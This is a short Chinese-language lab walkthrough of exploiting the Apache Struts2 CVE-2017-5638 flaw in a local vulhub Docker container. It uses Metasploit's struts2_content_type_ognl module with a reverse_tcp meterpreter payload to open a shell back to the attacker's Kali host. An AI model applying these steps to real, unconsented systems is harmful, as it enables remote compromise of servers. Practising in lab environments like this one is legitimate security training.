CVE-2017-5638漏洞利用

实验准备 ：一台Kali主机，一台ubuntu主机，docker中vulhub/struts2:2.3镜像

1、打开docker，开启vulhub/struts2:2.3镜像

dockers run -d -p 8080:8080 vulhub/struts2:2.3 启动镜像容器，映射本地的8080端口。

2.查看能否访问端口

3.扫描主机，查看是否存在CVE-2017-5638漏洞

可以选择nessus扫描主机来确定是否存在该漏洞，这里已经确定存在CVE-2017-5638漏洞，就省略了此步骤，有需要可以自己扫描

若需要安装Nessus，使用dockers一条语句安装即可
docker pull mikenowak/nessus --安装Nessus
docker run -d -p 8834:8834 mikenowak/nessus --启动容器
不过Nessus需要进入容器开启服务。

4.打开Kali的metasploit工具来攻击

1.直接输入密码打开metaspolit，直接搜索CVE-2017-5638漏洞模块

5.选择模块

发现由一个2017年的模块可以利用，直接选择
use exploit/multi/http/struts2_content_type_ognl

6.配置攻击参数

show options --查看攻击需要配置的参数

RHOST为攻击的IP地址 这里RHOST为 192.168.204.131
RPORT为攻击的端口号，之前设置为8080
TARGETURI为攻击的路径，这里路径为doUpload.action
(获取路径很简单，之需要上传一个文件即可查看路径)

Payload options为有效的攻击载荷，这里使用的
linux/x64/meterpreter/reverse_tcp是一种反向链接的方式，就是让靶机来链接主机，反弹shell这种方法比较稳定，不容易被杀死。

LHOST为反弹回来的IP，这里设置成自己的IP，
LPORT为返回的监听端口，理论上没有什么要求。

7.攻击靶机

使用 run和exploit都可以进行攻击，这里选择exploit

发现成功连接，并返回meterpreter会话，结束。
想了解meterpreter的具体用法，可以自己搜索尝试。